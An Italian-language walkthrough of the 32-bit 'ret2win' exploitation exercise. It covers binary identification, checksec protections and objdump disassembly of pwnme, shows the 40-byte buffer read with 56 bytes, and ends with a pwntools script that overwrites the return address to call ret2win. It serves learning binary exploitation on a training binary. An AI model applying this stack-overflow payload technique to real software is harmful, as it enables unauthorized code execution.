RET2WIN 32

RET2WIN X86 (32 BIT)

Analizza **il tipo di file** guardando:

- **header binario**
- **magic numbers**
- **metadati di formato**

In pratica risponde alla domanda:

> “Che cos’è questo file?”

```
file <nome_file>
```

stai ottenendo informazioni su:

Formato

```
ELF
```

→ è un eseguibile Linux standard.

Architettura

```
32-bit /64-bit
Intel80386
```

→ ti dice:

- quanti bit

- quali registri
- che calling convention aspettarti

Endianness

```
LSB
```

→ **Little Endian**

(importante quando scrivi indirizzi nel payload).

Tipo di linking

```
dynamically linked
```

→ usa libc

→ esistono PLT e GOT

→ possibili `ret2libc`, leak, ecc.

Loader

```
interpreter /lib/ld-linux.so.2
```

→ quale loader usa Linux per avviarlo.

Sistema target

```
forGNU/Linux3.2.0
```

→ compatibilità ABI (non è una vera “limitazione”).

Simboli

not stripped

fondamentale per il reversing

- nomi delle funzioni presenti
- stack trace leggibili
- `nm`, `objdump`, `gdb` molto più facili

ANALIZZIAMO LE PROTEZIONI

checksec --file=ret2win32

OUTPUT:

- **Partial RELRO** → GOT **scrivibile** (ma non serve qui)
- **No canary found** → **stack overflow libero**
- **NX enabled** → niente shellcode sullo stack
- **No PIE** → **indirizzi fissi**
- **No RPATH / RUNPATH** → irrilevante
- **72 Symbols** → funzioni con nome (binario non stripped)
- **FORTIFY: No** → nessun controllo extra
- **Arch: 32-bit** → exploit semplice

DISASSEMBLAGGIO

objdump -d <nome_file>

Analizziamo la funzione <pwnme> disassemblata:

```
080485ad <pwnme>:
 80485ad:       55                      push   %ebp
 80485ae:       89 e5                   mov    %esp,%ebp
 80485b0:       83 ec 28                sub    $0x28,%esp
 80485b3:       83 ec 04                sub    $0x4,%esp
 80485b6:       6a 20                   push   $0x20
 80485b8:       6a 00                   push   $0x0
 80485ba:       8d 45 d8                lea    -0x28(%ebp),%eax
 80485bd:       50                      push   %eax
 80485be:       e8 4d fe ff ff          call   8048410 <memset@plt>
 80485c3:       83 c4 10                add    $0x10,%esp
 80485c6:       83 ec 0c                sub    $0xc,%esp
 80485c9:       68 08 87 04 08          push   $0x8048708
 80485ce:       e8 fd fd ff ff          call   80483d0 <puts@plt>
 80485d3:       83 c4 10                add    $0x10,%esp
 80485d6:       83 ec 0c                sub    $0xc,%esp
 80485d9:       68 68 87 04 08          push   $0x8048768
 80485de:       e8 ed fd ff ff          call   80483d0 <puts@plt>
 80485e3:       83 c4 10                add    $0x10,%esp
 80485e6:       83 ec 0c                sub    $0xc,%esp
 80485e9:       68 88 87 04 08          push   $0x8048788
 80485ee:       e8 dd fd ff ff          call   80483d0 <puts@plt>
 80485f3:       83 c4 10                add    $0x10,%esp
 80485f6:       83 ec 0c                sub    $0xc,%esp
 80485f9:       68 e8 87 04 08          push   $0x80487e8
 80485fe:       e8 bd fd ff ff          call   80483c0 <printf@plt>
 8048603:       83 c4 10                add    $0x10,%esp
 8048606:       83 ec 04                sub    $0x4,%esp
 8048609:       6a 38                   push   $0x38
 804860b:       8d 45 d8                lea    -0x28(%ebp),%eax
 804860e:       50                      push   %eax
 804860f:       6a 00                   push   $0x0
 8048611:       e8 9a fd ff ff          call   80483b0 <read@plt>
 8048616:       83 c4 10                add    $0x10,%esp
 8048619:       83 ec 0c                sub    $0xc,%esp
 804861c:       68 eb 87 04 08          push   $0x80487eb
 8048621:       e8 aa fd ff ff          call   80483d0 <puts@plt>
 8048626:       83 c4 10                add    $0x10,%esp
 8048629:       90                      nop
 804862a:       c9                      leave
 804862b:       c3                      ret
```

```
push ebp
mov  esp, ebp
sub  $0x28, esp   ; buffer da 40 byte
sub  $0x4, esp    ; padding (allineamento)
```

Viene creato uno **stack frame**

buffer locale = 40 byte parte da **EBP - 0x28**

memset(buffer, 0, 32)

```
push 0x20        ; 32 byte
push 0x0         ; valore 0
lea  -0x28(ebp), eax
```

```
push eax
call memset
```

Azzera **solo i primi 32 byte** del buffer

Il buffer è più grande (40), gli ultimi 8 restano “sporchi”

puts / printf (solo output)

Queste sequenze:

```
push <stringa>
call puts
```

e

```
push <stringa>
call printf
```

Stampano messaggi a schermo

Nessuna logica di sicurezza, solo testo per l’utente

LA vulnerabilità: read

```
push 0x38        ; 56 byte
lea  -0x28(ebp), eax
push eax         ; buffer (40 byte)
push 0x0         ; stdin
call read
```

In C equivale a:

```
read(0, buffer,56);
```

- buffer = **40 byte**
- read = **56 byte**

Overflow di 16 byte

Possiamo sovrascrivere il return address richiamando la funzione ret2win, basta trovare l'indirizzo della funzione

```
0804862c <ret2win>:
 804862c:       55                      push   %ebp
 804862d:       89 e5                   mov    %esp,%ebp
 804862f:       83 ec 08                sub    $0x8,%esp
 8048632:       83 ec 0c                sub    $0xc,%esp
 8048635:       68 f6 87 04 08          push   $0x80487f6
 804863a:       e8 91 fd ff ff          call   80483d0 <puts@plt>
 804863f:       83 c4 10                add    $0x10,%esp
 8048642:       83 ec 0c                sub    $0xc,%esp
 8048645:       68 13 88 04 08          push   $0x8048813
 804864a:       e8 91 fd ff ff          call   80483e0 <system@plt>
 804864f:       83 c4 10                add    $0x10,%esp
 8048652:       90                      nop
 8048653:       c9                      leave
 8048654:       c3                      ret
 8048655:       66 90                   xchg   %ax,%ax
 8048657:       66 90                   xchg   %ax,%ax
 8048659:       66 90                   xchg   %ax,%ax
 804865b:       66 90                   xchg   %ax,%ax
 804865d:       66 90                   xchg   %ax,%ax
 804865f:       90                      nop
```

DISEGNO DELLO STACK

Indirizzi alti

_____

RET ADD

old EBP [4]

buffer[39]

....

buffer [0]

Padding allineamento [4]

_____

Indirizzi bassi

CODICE:

```
#!/usr/bin/env python3
from pwn import *

buffer_overflow = 44

ret2win = 0x0804862c

payload = (b"A" * buffer_overflow + p32(ret2win))

p = process("./ret2win32")
p.sendline(payload)
print(p.recvall(timeout=2).decode(errors='ignore'))
```